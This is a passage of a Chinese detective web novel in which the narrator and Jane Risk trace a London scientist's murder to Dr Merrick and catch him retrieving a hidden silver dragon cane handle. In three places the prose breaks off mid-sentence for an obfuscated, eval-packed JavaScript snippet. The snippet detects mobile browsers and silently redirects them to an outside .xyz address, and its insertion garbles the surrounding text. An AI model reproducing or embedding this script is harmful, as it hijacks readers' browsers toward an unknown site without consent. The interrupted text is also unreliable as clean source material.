梅尔小姐消失了将近两三个月，格林小姐隔三差五跑我们的事务所来，老滴答都警觉了不少。 我不会问简夜晚出去干什么了，又为什么总是带着硝烟与血迹回来，金环蛇怎么样了？ 很多事情，我不问，是因为我们心知肚明。 当时的我，注意到，她真的很累。 到目的地时，我把车子停稳，等待了一下。简自己就醒了。 “到了？那我们下去吧，弗瑞。”她捋了一把头发说。 “唉，慢点，给你补妆。”我拉住她。 简确实不化妆，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236202|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也很少涂脂抹粉，但是，她会涂口红。 看过我之前写的故事，应该能够稍微理解一点吧？ 她不像我偏爱浅色和淡色的口红，她常用那种张扬的大红。 我时常想，上帝怎么会让我遇见了如此独特且鲜明的简·里斯克呢？ 她中性打扮，短发，风衣，混迹于各种被认为应该与女性无关的场合（无论好的坏的），却又如此鲜明地宣告着，她是女性。 啊…抱歉，我又不由自主地写偏了。 还是让我们回到案子的调查吧。 当时，我们所要拜访的人是维克多·彭德拉根牧师。 我们走进教堂时，唱诗班的孩子们正在唱歌，声音很干净。 维克多·彭德拉根牧师站在前面，闭着眼，看起来似乎很投入。 等歌声停了，孩子们安静地离开后，他才转过身看到我们。他脸上立刻挂起那种温和的笑容。 “两位女士，有什么事吗？”他问。 我简单介绍了我们是谁，为什么来找他。 听到皮尔斯爵士的名字，他叹了口气，画了个十字。 “愿他安息。虽然他的道路偏离了主的指引，但我仍为他祈祷。” “我们听说您和他有些争论？”我问。 “不是争论，”他纠正我，语气依旧温和，“是真理与谬误的分别。我很遗憾他没法与我继续走下去了。” 简没耐心绕圈子，直接问，“反对进化论的就属你俩声音最大。现在皮尔斯死了，对你是不是正好？” 牧师脸上的笑淡了点。他仍然笑着。 “这不是位置的问题，女士。这是责任。总需要有人站出来捍卫真理，尤其是在有人试图用科学抹杀上帝的时候。” 他看向我，“那位梅里克博士，他才是该被关注的人，不是吗？他的理论才真正毒害人心。” 他又说了几句，意思都差不多，梅里克更危险，皮尔斯死了很可惜但也是警示，而他自己只是不得已扛起大旗。 我们没待多久就走了。 回到车上，简哼了一声，“看，他一点不掩饰他想接手的心思。嘴上全是上帝，心里算盘响得全伦敦都知道了。” “他看起来挺……正常？”我说，“但比奥利弗·皮尔斯那种直白的贪婪难对付多了。” 是的，与其和这个说话温和、笑里藏刀的维克多·彭德拉根牧师交流，我宁愿去和奥利弗·皮尔斯先生交流。 后来，根据简的消息，我们知道也是这位牧师大肆宣扬梅里克博士是杀人犯。 这位悲天悯人的牧师，不在乎谁才是真正的凶手，他只是要接受“事业”，并且打倒对手。 “接下来去哪儿？”我问，“回事务所吗？” “嗯，”简点点头，“得把这几条线理理清楚。奥利弗·皮尔斯急着拿钱，彭德拉根牧师想接手‘事业’，还有那位贝拉·克罗夫特小姐……”她顿了顿，“她也需要好好调查一下。” 我回想起藏品室里，贝拉小姐凝视化石时那种专注甚至近乎迷恋的神情，点了点头。 每个人似乎都有各自的盘算，而埃兹拉·皮尔斯爵士的死，恰好给他们各自铺了路。 车子汇入伦敦的街流，我将车窗摇下一点，让微风吹散车厢里沉闷的空气。 真相有时就像这伦敦的天气，藏在灰蒙蒙的雾后面，需要耐心，也需要一点运气，才能等到云开雾散的那一刻。 69.8.3 简总是有着自己的想法。 回到事务所的时候，她就让我联系了一下怀特警探。 事实上，我们在苏格兰场也有认识其他的警探，但他们要么像很久之前的霍华德警探一样，要么就是没有能力的草包。 当然，苏格兰场也有像怀特警探这样追求正义且有能力的人的。 简也有和我说过，如果我有问题，我可以联系查尔斯·怀特警探。 他算我们的朋友。 …… “本小姐。怎么了？有什么事情吗？”怀特警探声音在电话那边响起。 “怀特警探。可以帮我们调查一下几个人吗？”我问。 “好的。你说。” 得到消息并没有花费太多的时间，当然，按照程序，警探是不能告诉我们这些的，我们轻易也不能看其他人的档案。 但有些时候，总要有一些意外。 “可以简单，为什么要那么麻烦，时间就是金钱，不是吗？”简有些疑惑地问。 她一贯如此，效率至上。 她也不会认为这样有什么问题，她一贯如此。 “弗瑞，结果是好的，那就够了，不是吗？”她走过来问我。 她并不是在问我的答案。 我知道。她在害怕。 她是一个很矛盾的人。也许，我也是。 有什么关系。我们是朋友。 …… “奥利弗·皮尔斯，债台高筑，最近到了紧要关头。维克多·彭德拉根牧师在反进化论团体中声望颇高，和死者有矛盾。”怀特警探喝了口茶说道。“两位确实都有嫌疑。” “至于贝拉·克罗夫特小姐，我查到了一下有趣的东西。”他从包里拿出了档案袋。 “先说一下，小姐们，我并不是负责这个案子的，只是拜访你们的时候，不小心遗漏了一份普通的居民档案。”怀特警探摸了摸鼻子说。“而你们，刚好是警方信任的侦探。” 简没有说话，平静地接过了档案看了起来。 贝拉·克罗夫特小姐确实非常优秀！ 那履历简直惊人！ 从小便是佼佼者，成功进入伦敦大学，并且拿了双学位。之后更是在多个博物馆和生物研究室担任助手。 说实话，当时的我感觉她干的最差劲的工作，也许就是皮尔斯爵士阁下的秘书兼藏品管理员了。 如果让现在的我来看，我也许还是会这样认为。 但贝拉·克罗夫特小姐说得对，人总要为自己的选择，而付出什么。 抱歉，读者，让我来继续讲这个故事吧。 到哪里了呢？ 档案…对…档案。 “休·克罗夫特。”简在这个名字停顿了一会。 “我感觉在哪里听说过。”怀特警探有些疑惑地说。 休·克罗夫特。 档案上显示，那是贝拉小姐的父亲。是一名古生物学家。 “好像是和皮尔斯爵士有关的指责。十几年前闹得沸沸扬扬的。什么来着？”怀特警探激动起来，却还是不知道具体的。 很遗憾，我和简对于十几年前的相关新闻都不太清楚。 毕竟，我以前都不太接触这些事物，而简，她的生活也已经被金环蛇填满了。 也是在这个案子之后，我才后知后觉地想，我应该再补充一点以前的各种各样地报道了。 但幸好老滴答可能清楚。 忠实的老滴答，除了他自夸地上过战场，其他的日子，都是在伦敦的八卦里泡大的。 没有什么大事，能够逃的过他的耳朵。 “休·克罗夫特…古生物学家…我想想…”老滴答敲了敲自己手里的表，慢慢地思考着。 怀特警探已经赶回苏格兰场继续查档案了，外面已经差不多黄昏了，辛苦怀特警探加班了。 我和简则是等待着老滴答想起来，说实话，我和简都没有抱太大的希望。 “皮尔斯是靠化石奠定地位的，贝拉·克罗夫特的父亲刚好是古生物学家，我不觉得这是巧合。”我说。 “嗯。”简边应，手上的动作不停，边用那个我见过的小巧的通信装置发信息。 “你在联系梅尔？怎么了？”我问。 “没事，让她派人……。”简放下手里的装置说。 “呃…梅尔小姐应该挺忙的吧？”我有些担心的问。 “没事，爱尔兰的事情差不多了。而且，就派几个人的事情。正好通知她回来。”简似乎漫不经心地说。 但我看见她的一只手紧紧握着装置，另一只手塞风衣转了个圈又伸出来，应该是没有摸到打火机。 我笑了笑，“是吗，那挺好的。” “嗯。”简当时放松了一些。 读者们，简从来就没有瞒我，她甚至是希望我知道的。 我说过她像猫，她总是这样，而我一贯没有什么办法。 爱尔兰的内战六月多结束。 武器货物的供应也差不多收尾。 我知道简不想和金环蛇的人联系，她也很少依靠对方的人。 可她终究与对方，或者说先生，关系如此紧密。 那是一种枷锁，也是一种资源。 只是，我偶尔会想，辛苦梅尔小姐了。 “我习惯了。而且，感谢小姐的信任。挺好的。”梅尔小姐后来对我说。 我慢慢地写着，当时地老滴答也是慢慢地想着。 比怀特警探的电话快，老滴答先想起来了。 老滴答走上楼和我们说：“是关于学术抄袭的还是什么？老家伙我也不清楚具体的。就是那个…什么化石？” “过渡化石？”我问。 “对对对…”老滴答揉了两下额头地说，“当时那个古生物学家指责皮尔斯爵士偷窃成果还是什么的？皮尔斯爵士则是说对方学术不端…” “我记得…那个古生物学家最后好像是自杀了？事情好像不了了之。”老滴答说。 老滴答的话音落下，房间里一时陷入了沉默。 “行，谢谢你，老滴答。”我应着。 窗外的天色渐渐暗下来，煤气灯还没有点亮，简的侧脸在昏暗中显得格外清晰。 “自杀……”简轻声重复着这个词，我甚至感觉她浅绿色的眼睛在黑暗中熠熠生辉。 简没有说话。她站起身，走到窗边，望着外面逐渐亮起的街灯。 我知道她在想什么，贝拉·克罗夫特小姐选择在皮尔斯爵士手下工作，绝不是偶然。 电话铃声突然响起，打破了沉默。 是怀特警探。 “查到了，”他的声音从听筒里传来，语速有点快，像是小跑着回来的，“休·克罗夫特，十几年前指控皮尔斯爵士学术剽窃，声称爵士那篇关于过渡化石的关键论文是窃取了他的研究成果。争论得很厉害，但没什么证据，皮尔斯的名望又太大，最后就不了了之了。” “那自杀呢？”我追问。 “官方记录是自杀。就在指控失败后没多久，他在自己的研究室里用了□□。留下了遗书，大致内容是感到绝望和羞愧。”怀特警探顿了顿，压低了些声音，“但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236203|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 档案里有个备注，当时有位巡警觉得现场有些…过于整洁了。不过没掀起什么水花，很快就以自杀结案。” 我道了谢，挂断电话，把这些信息转述给简。 一切似乎都串起来了。贝拉·克罗夫特，这位才华横溢的女性，进入皮尔斯爵士的核心圈子，恐怕不是为了那份薪水。 “为父报仇？”我看向简。 “动机足够充分。”简的语气很平静，“走吧。” “去哪儿？” “去找克罗夫特小姐聊聊，”她已经拿起了外套和帽子。 窗外的雨不知何时又下了起来，淅淅沥沥地敲打着玻璃。 我们拿起伞，走进了暮色沉沉的雨雾里。 我们找到贝拉·克罗夫特小姐的地方，是在一个墓园。 天空中下着毛毛细雨。 我们来到贝拉小姐身后的时候，她并没有多大的意外。 她正站在一块略显陈旧但打理得很干净的墓碑前，黑色的伞面微微倾斜，遮住了她大半身影，只能看见她握着伞柄的手，和一丝不苟的发髻。 她仍旧是那么的安静。 雨水顺着墓碑上的刻字滑落，“休·克罗夫特”的名字在雨水中显得格外清晰。 她没有回头，只是轻轻地说了一句，声音几乎融在雨声里，“我知道你们会找到这里。” 简没有说话，只是走到她身旁稍后一点的位置。我站在简的另一侧，雨水敲打着我们的伞面。 过了好一会儿，贝拉小姐才缓缓转过身。 “他不是自杀的，对吗？”她问，目光直接越过我，落在简的脸上。 简没有直接回答，只是问：“你想知道什么答案？” 贝拉小姐的嘴角极轻微地笑了一下。“…什么答案？我不是…知道吗？一个声称自己被诬陷并且发誓要揭露真相的人，怎么会因为‘羞愧’而自杀？还留下那么一封……假模假样的遗书？”她的声音里带着冰冷的嘲讽，“他们甚至不肯多花点心思伪造得更像一点。” “你认为皮尔斯爵士是凶手？”我问。 “重要吗？”她看向我，“法律不会因此审判他。名誉、地位、财富……他能让所有人相信他想让他们相信的事。就像当年他拿走我父亲的研究成果，然后轻易地毁掉他一样。” 雨似乎下得大了一些。 “所以你接近他，”简的声音里透着肯定，“不是为了那份工作。” “为了等待。”贝拉小姐重新将目光投向墓碑，声音低沉下去，“等待一个机会。或者……只是等待他偶尔会流露出的那么一点点不安。在他看着那些化石，看着那些靠偷窃得来的荣誉时……或许他也会想起我父亲。” 她轻轻摇头，“我很失望。他或许有过不安，但从未有过悔意。” “他死之前，他有过不安吗？”简问道。 贝拉小姐沉默了片刻，雨声充斥着。 “那个时候……”她缓缓地说，“他很激动，和彭德拉根牧师争论后，又和他侄子奥利弗吵了一架。关于钱，关于名誉，关于那些他视若生命，却来路不清的东西……他把自己关在休息室里。” “他喜欢喝酒，波特酒…他生气了，喝多了，想起了我的姓氏…他第一次……跟我说起了很久以前的事，说起那些年轻时的竞争。他说……‘克罗夫特，那是个聪明人，只是太过固执，走错了路。’” 她的声音里带着难以置信，“他说得那样轻巧，仿佛那只是一段无关紧要的往事。” “那你是凶手吗？”我注视着这位安静且优秀的小姐，认真地问。 70.8.4 贝拉小姐摇了摇头，雨滴从她的伞沿滑落。 “不是我，”她的声音很轻，却带着一种不容置疑的清晰。 “我等待了这么多年，不是为了用一根手杖结束这一切。那太便宜他了，也太…肮脏了。” 她看着墓碑，仿佛在寻求父亲的认可，“我想要的是真相大白，是他身败名裂，是让他尝尽我父亲承受过的痛苦和绝望。死亡……是一种解脱，侦探小姐们，而我并不想给他解脱。” “呵。有意思。你已经是这个案子里，第二个亲口跟我说不是凶手的人了。”简突然笑了。 是的，第二个… 而第一个是…阿瑟·梅里克博士(Dr.Arthur Merrick)。 读者们，也是在这个时候，当时的我才意识到我忘记了什么。 我忘记了本案最初的嫌疑人！ 那简呢？ 我看向她，简凝视着贝拉小姐，她们对视着。 “证据呢？”简问。 闻言，贝拉小姐握紧了自己手中的伞，无奈地笑了笑，然后低头说道：“我没法证明我不是凶手。” “不…”简的话让我和贝拉小姐都意外起来，她说：“我是说皮尔斯犯罪的证据。” 简似乎也有些意外，她挑了下眉：“不会在那家伙身边干了那么多年，没找到一丁点证据吧？” “不！我有…但是…”贝拉小姐明显有些着急了。 “那就准备好。到时候用得上。”简简洁地说，“最好再深入一些。” 说完，简就示意我离开，但我们刚刚转过身，身后的贝拉小姐就问出了我想问的问题，“你们不怀疑我是凶手了？” 事实上，我不太想怀疑贝拉小姐，而且，我们没有证据。 而简，她没有回答，她只是说：“我只是给你一个机会去证明自己。” 说实话，虽然简是这么说的，但我心里明白，她已经信了。 雨似乎小了一些。 我追上简的步伐，“简，你相信贝拉小姐不是凶手了？” 简伸手扶了我一下，“弗瑞，还记得我和你说过的吗？” “什么？”我看向简，步伐却没停。 “我谁都不信。没有切实调查了解，什么都不可信。” 简平淡的再一次说出了曾经对我说的话。夜雨越下越大，哗啦啦地，耳边的声音都似乎有些模糊了。 简似乎望着我，张口说了什么。 什么…？信任？ “什么？”我有些疑惑地再问一遍。 简没有说话，拉着我快速跑上了车，伞都只能算是装饰性作用了。 关上车门，世界才稍微安静了一点点。 “简，你刚刚还说了什么？”我问。 “我说，你太容易轻信别人了。”她似乎有些紧张，从一旁的箱子里拿出了一张常备的白毛巾扔给我说。 “可是…”真的吗？ 我安静下来，乖乖擦脸和头发。 我不是轻信，我只是…选择相信。 但我不想再这种话题上再多说什么了，我确实再一开始就信了阿瑟·梅里克博士。这的确是我的问题。 我用毛巾给简也稍微擦了擦。 但我却不知道说什么，然后就是沉默。 在简发动车子的时候，我才反应过来，贝拉小姐！ 简快速地拉住我的手，阻止了我下车的动作，“怎么了？” “贝拉小姐一个人。这么晚了！太不安全了。”我切切实实担心起来。 也许是那个夜晚天气太糟糕了，也许是那些对话给我造成了很大影响，我当时竟然完全忘记了简联系梅尔派了人。 闻言，简似乎放松了口气，“没事，坐好，她不是一个人…额…不会有什么事情的。” 这么一打岔，气氛到没有一开始那么紧张了。 “我们接下来去哪？”我看了看窗外，天已经完全黑了下来，雨还在下。 简没有都说什么，她只是说：“回家。” 我们回到了布鲁姆斯伯里的公寓。 而那个雨夜，在那嘈杂的大雨中，简到底说了什么，直到现在，我都没有真正知晓。 …… 起床下楼的时候，平日里早早在楼下边看报边等待的简，反常地竟然不在。 她常坐的那张对着窗户的沙发上又一张便签，“弗瑞，出去调查东西，你直接去事务所吧，注意安全。” 也不知道谁才要注意安全？！我无奈地摇了摇头。 走到窗户旁看了看，确定没有什么问题之后，又把窗帘拉上了。 洗漱完，提上我的手提包，我开车前往我们的事务所。 我其实也买了一辆，毕竟方便一点。但是大部分情况，都是简开车，或者我俩一道。我也很少需要独自开我自己的车。 到查令十字街12号的时候，老滴答已经早就开始一天的工作了。 “老滴答，今天也辛苦你了。” 老滴答朝我点点头，露出他没有门牙的标志笑，“弗瑞小姐也是。” 虽然简没有和我一道，但老滴答一向不会多问。他应该也不知道。 但是当时的我，其实确实特别想知道简到底出去干什么了。 这和她以往无声无息处理的事情不同。 我感觉，应该和我们目前调查的皮尔斯爵士的案子有关。 其实经过昨天晚上和贝拉小姐的交流，我才反应过来我忘了什么。 简从来没有说过她相信阿瑟·梅里克博士不是凶手，她只是说，‘这个委托，我们接了’。 我努力回想梅里克博士到访的那天。但是也确实想不起来什么关键的东西。 而且，我也不能就这样随便怀疑人家吧？ 我站起身来，翻找着旁边巨大书架上的档案。 梅里克…Merrick…M… 没有。 我停下了动作想了想，换一个，埃兹拉·皮尔斯爵士？ 找到了！是简那天看的档案，关于皮尔斯先生的谋杀案的档案。 档案的内容极其清晰明了。 我甚至…看见了皮尔斯爵士死亡现场的照片。 这可能又是简从哪里搞出来的内部资料。 旁边标注了简各种各样的笔记，却不显得杂乱，感觉比我边听边记的笔记好上不是一星半点。 上面表明了几个嫌疑人。 阿瑟·梅里克博士。贝拉·克罗夫特小姐。奥利弗·皮尔斯先生。维克多·彭德拉根牧师。 旁边还去掉了一个兰林·科尔夫人。 其中，阿瑟·梅里克博士和贝拉·克罗夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246639|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特小姐，都被拿红笔圈了出来。 而在阿瑟·梅里克博士旁边则写着，‘没有证据？’ 之后就是一下各种各样简觉得相关的问题。 其中，最明显的就两个。凶器？动机？ 凶器？我看到这个，想了想。 读者们，凶器是死者自己手杖的银质手柄，重击了他的后脑，上半部分被凶手拆下带走了，至今尚未找到。 也许凶器早就被转移或者销毁了呢？可是，凶手是怎么做到的？ 毕竟皮尔斯爵士为了配得上身份，用的银质手柄非常的独特，起码也有半个脑壳那么大，是来自东方的神兽，龙的模样。 暂时不清楚，我当时也确实没有头绪。 而动机？其他几个人的动机都基本清楚了，也并难发现。 只有阿瑟·梅里克博士，我找不到太大的可能。我当时胡乱地想着，他总不能是为了那个模拟审判吧？ 还没等我想清楚，一旁的电话就响起来，我和上档案，走过去接。 我接起电话，是简！ 听筒里传来简干净利落的声音，背景有些嘈杂，似乎是在街上。 “弗瑞？听着，梅里克博士等会儿会来事务所。如果他来了，你就告诉他，我已经去现场重新勘察过了，苏格兰场那边也认为没有新的线索，预计今天就会撤走看守的警员。” 她的语速比平时更快些。 “简，你现在在哪？你去看过现场了？什么时候的事？”我忍不住追问，心里有些不是担心和紧张，她又一次单独行动了。 电话那头沉默了一瞬，只有细微的雨声和嘈杂声。 “刚看完。细节回去再说。记住我的话，弗瑞，就按我说的告诉他。其他的……多看，多听。”她的话方面了一点，语气甚至称得上是温柔，“我相信你可以。” “嗯。”不等我再问，电话已经挂断了，只留下一串忙音。 我握着听筒，站在原地愣了几秒。 简总是这样，像一阵抓不住的风。我叹了口气，放下电话，大概一个时辰之后，敲门声就响了。之后是门铃。 来了。 我深吸一口气，整理了一下衣摆，走过去开了门。 门外站着的果然是阿瑟·梅里克博士。他穿着妥帖的深灰色大衣，手里拿着一顶黑色的礼帽，头发梳得一丝不苟，只是脸色看起来比上次见面时疲惫了些，眼下的阴影很重。雨后的微光落在他身上，勾勒出冷峻的轮廓。 老滴答落后他几步，他的经验能够让他知道一些事情，我看了他一眼，注意力就全部放在了梅里克博士身上。 “本侦探，”他微微颔首，声音一如既往的温和低沉，带着学者特有的冷静，“希望没有打扰到您。简·里斯克侦探在吗？” 我侧身让他进来：“上午好，梅里克博士。请进。很不巧，简刚刚出去。” 他走进门廊，脚步略微迟疑了一下，目光快速在我脸上扫过，“是吗？真不巧。她还说有些案子的情况，想找我聊聊。” “比较紧急，没办法？她去了皮尔斯爵士的宅邸那边，”我按照简的吩咐说道，尽量让语气显得自然，“她说苏格兰场似乎已经结束了对皇后大厅，还有现场的封锁，认为没有什么新的发现，今天应该就会撤走看守的警员了。她想在彻底撤走前再去看一眼。” 71.8.5 博士的眉梢极其轻微地动了一下，像是松了一口气，又像是有些别的什么情绪。他走到沙发边，却没有立刻坐下。 “原来如此。里斯克侦探果然尽职尽责。” 他沉吟道，指尖无意识地摩挲着礼帽的边沿，“那她……有发现什么吗？任何不寻常的地方？”他的目光落在我脸上。 我忽然想起简说的“多看，多听”，以及档案上那个红色的圈和旁边的“没有证据？”。 “她没有详细说，”我摇了摇头，给他倒了一杯热茶，递过去，“电话里听起来很匆忙。博士，您有想到了什么新线索吗？” 他接过茶杯，道了谢，终于坐了下来。 “不能算是线索，只是一些……不安的思绪。”他低头看着杯中袅袅升起的热气，“这件事实在令人困扰。皮尔斯爵士的死……以及围绕它发生的种种猜测。我只是希望真相能早日水落石出，无论它是什么。” 他的语气诚恳，透着忧虑。若是之前，我大概会完全相信他的担忧是出于正义感以及对自身清白的担心。 但现在，我却忍不住注意着他每一个细微的动作和表情。 “我们也是。”我在他对面坐下，“简不会放弃的，直到找出真相。” “有里斯克侦探这样的能力，我相信会的。”他顿了顿，似乎斟酌了一下词句，“那么，关于其他嫌疑人……比如克罗夫特小姐，里斯克侦探有什么看法吗？我听说她与皮尔斯爵士之间……有些旧怨。” 他问起了贝拉小姐。我心底警铃微作。 “我们目前还在调查中。”我谨慎地回答，端起自己的茶杯，稍稍避开他探究的视线。 “克罗夫特小姐确实提供了一些信息，但一切都还需要验证。” 梅里克博士轻轻颔首，指尖沿着杯沿缓缓移动。“确实，谨慎是必要的。尤其是在这样……复杂的案子里。” 我们又闲聊了几句无关痛痒的话，大多是关于天气和最近的新闻。 他表现得一如既往的儒雅得体，言谈间逻辑清晰，态度诚恳。 然而，一种微妙的感觉始终缠绕着我，他似乎在用这些温和的言语编织一张网，不着痕迹地打探着，衡量着。 他每一次端起茶杯的停顿，每一次目光看似随意的扫过书架或我的笔记，都仿佛带着某种目的性。 终于，他喝完了杯中的茶，优雅地站起身，重新拿起礼帽。 “既然里斯克侦探不在，那我就不多打扰了。如果她回来，还请转告我的来访。” “当然，梅里克博士。”我也站起身送他。 走到门口时，他忽然停下脚步，像是忽然想起了什么，转身问道：“对了，本侦探。案发那天……我记得皮尔斯爵士的手杖，那根有着独特银质手柄的手杖，似乎并不在现场常见的描述之中？不知警方的记录里，是否有更详细的记载？” 这个问题来得突然而具体。 银质手柄，那失踪的凶器。 我的心跳漏了一拍，但努力维持着面上的平静。 “官方的记录似乎也语焉不详。简的档案里或许有更细节的标注，可惜她现在不在。” 我顿了顿，反问道，“博士怎么会突然问起这个？您是否想起了什么相关的细节？” 他注视着我，镜片后的眼睛深邃难辨。 “只是偶然想到罢了。”他最终微微一笑，笑容里带着纯粹的好奇，看起来无懈可击，“那件器物太过独特，它的缺席本身，就足以引人遐想。或许，它是解开一切的关键，不是吗？” 他轻轻颔首，戴上礼帽，转身向守在门外的老滴答示意，然后下楼。 我站在门口，望着他挺直却逐渐远去的背影。 等我关上门才发现，手心里，不知何时竟渗出薄薄一层冷汗。 他为何独独问起手柄？ 简又为何特意让我告诉他警方即将撤防的消息？ 一种模糊的预感在我心底盘旋，却抓不住清晰的形状。我走回办公桌前，目光再次落在那份打开的档案上，落在“凶器？”那两个刺目的字眼和旁边简笔勾勒的一个问号上。 银质的、东方龙形的、独一无二的手柄。 “……死亡是一种解脱……而我并不想给他解脱。” “……那太便宜他了，也太…肮脏了。” 读者们，当我写这个的时候，贝拉小姐的声音仿佛隔着那晚的夜雨再次浮现。 也是在这个时候，我才明白。 猎人取走猎物的头颅，当然不仅仅是为了炫耀。那是一种宣告，一种占有，甚至是一种……未完成的仪式。它意味着审判并未随着死亡而终结。 当时的我，手指无意识地划过档案上皇后大厅的平面图，并没有明白这些。 休息室、走廊、陈列区…… 皇后大厅那些沉默的、穿着铁甲的武士盔甲，它们矗立在阴影里，见证了发生了什么？我不知道。 只是，我猛地站起身，几乎带翻了椅子。 我必须去找简！ 现在就去皇后大厅！ …… 就在我匆忙拉开门的一刹那，却几乎撞进一个人的怀里。 是简。 她站在那里，似乎带着某种兴奋和喜悦，浅绿色的眼睛却亮得惊人，就像那个夜晚那边，熠熠生辉。 “弗瑞，”她叫我。 但她的视线，看着那条从私人休息室延伸出来的，两侧布满盔甲阴影的长廊。 她没有说更多。 但那一刻，无声胜似惊雷。 我看着她细微的动作，她下意识用指尖捻了捻外套袖口上一点不易察觉的灰色痕迹。 那仿佛是积年的尘埃，又或许是……金属氧化后的粉屑？ 她抬起眼，看向我，眼神复杂难辨。 她最终什么也没解释，只是几乎无声地说了一句，像是说给我听，又像是说给这大厅许多的盔甲。 “他终究……没能把那场审判赢下来。” …… 夜色浓重，皇后大厅的轮廓都变得模糊。 街道空旷，只有偶尔驶过的车灯划破湿漉漉的黑暗。 一道穿着深色大衣的身影出现在街角，步伐很快，却带着谨慎。 阿瑟·梅里克博士停在大厅侧面的员工通道入口附近，没有立刻上前，而是隐在一棵行道树的阴影里，警惕地观察着四周。 空气里只剩下他压抑的呼吸声和远处模糊的市声。 读者们，我有说过，简让梅尔小姐给几个嫌疑人都派了人跟着，但我没想到她给梅里克博士也派了人。 她告诉我，这是梅里克博士几天来的第三次徘徊，前两次都因为远处看似无意停留的马车或是路口巡逻的警察而退缩了。 但今晚，侧门附近格外安静，附近守夜的警员果然不见了，仿佛正如我这位年轻的侦探小姐无意中透露的那样。 苏格兰场放弃了。 他深吸了一口带着潮气的空气，像是下定了决心，从大衣口袋里摸出一样东西，不是钥匙，而是一段细长的、闪着冷光的金属工具。 他熟练地撬开了那扇并不算坚固的门，侧身闪入，门在他身后无声地合上。 几乎就在门合上的瞬间，对面建筑几个原本漆黑的窗口，同时亮起了微弱的光束，如同苏醒的兽瞳。 简站在我身侧的阴影里，一动不动，只是对着手中的袖珍对讲机低声说了一句，“进去了。” 她的声音平稳得没有波澜。 我明白，她让我告诉梅里克博士警方撤防的消息，就像在精心布置的陷阱前，轻轻撤走了最后一道看似碍眼的障碍。 我们无声地穿过街道。 苏格兰场的人像从地底涌出一样，迅速而安静地封锁了所有出口。 怀特警探对简点了点头，表情严肃，手下的人握紧了枪械。 里面没有传来任何巨大的动静。只有一些细微的声响，像是有人在黑暗中急切地翻找着什么。手电筒的光束在里面不规则地晃动。 然后，是某一具盔甲部件被轻轻挪动的金属摩擦声，极其轻微，但在夜晚建筑物内部却显得格外清晰。 接着，一切声响戛然而止。仿佛里面的人突然屏住了呼吸，或是……终于找到了他要找的东西。 就是现在。 怀特警探猛地一挥手。 “行动！” 门被从外面用力撞开，更多强烈的手电光光束瞬间刺破黑暗，交织着锁定了那个僵立在走廊中央，站在一具哥特式盔甲旁的身影。 梅里克博士像是僵住了。 他一只手还搭在盔甲冰冷的臂铠上，另一只手则紧紧攥着刚从盔甲胸腔暗格里取出的那样东西。 那枚造型狰狞独特，即使在微弱光线下也隐隐泛着冷光的银质龙头手柄。 上面深褐色的污渍已然干涸，却依旧刺眼。 手电光集中打在他脸上，他猛地闭上眼，像是被这突如其来的光线灼伤，又像是终于从一场偏执的梦中惊醒。 怀特警探走上前，声音在空旷的大厅里回荡，“阿瑟·梅里克博士，我现在以谋杀埃兹拉·皮尔斯爵士的罪名逮捕你。你有权保持沉默……” 后面的官话变得模糊起来。警员上前，小心翼翼地、几乎是费力地，才从他僵硬的手指间取下了那枚银质手柄，放入证物袋。 梅里克博士终于睁开了眼睛，却没有看那些警察，也没有看那被收走的“战利品”。 他的目光越过人群，直直地看向我和简所在的方向，看向阴影处。 怀特警探示意警员将他带出去。 简依旧沉默地站在阴影里，直到梅里克博士被押上警车，红色的尾灯消失在街道拐角，她才缓缓走了出来，站在皇后大厅冰冷的石阶上。 她抬头望了望这座庞大而古老的建筑，里面曾经发生的学术倾轧、私人恩怨、以及那场以生命为代价的、扭曲的“审判”，似乎都随着雾气和雨丝，慢慢沉淀下来。 “结束了？”我走到她身边，轻声问。 简没有立刻回答，她只是看着警车消失的方向，良久，才淡淡地开口，声音里听不出太多胜利的喜悦，只有洞悉一切后的沉寂。 “一场审判结束了。”她说，“但科学……从来不需要用这种方式来证明自己赢。” “科学…？”我不太清楚简为什么又突然提起这个，但我没有再问，简总会让我知道的。 …… 苏格兰场的审讯室灯光冷白，将一切都照得无处遁形。 阿瑟·梅里克博士坐在桌后，手铐反射着金属的寒光。 他看起来比之前任何时候都要疲惫，那种略带疏离的冷静外壳碎裂了，露出底下被漫长岁月和激烈情绪侵蚀出的深深沟壑。 但他挺直着背，眼神里有奇异的光芒，混合着绝望和近乎疯狂的认定。 简在我身边坐下，没有说话，只是将一份档案轻轻放在桌上。 那不是警方卷宗，而是她自己整理的，里面夹杂着许多贝拉·克罗夫特小姐提供的发黄纸页，以及几份剪报。 梅里克博士的目光落在那些纸张上，嘴角细微地抽搐了一下。 “克罗夫特小姐……”他低声说，像是叹息，又像是了然。 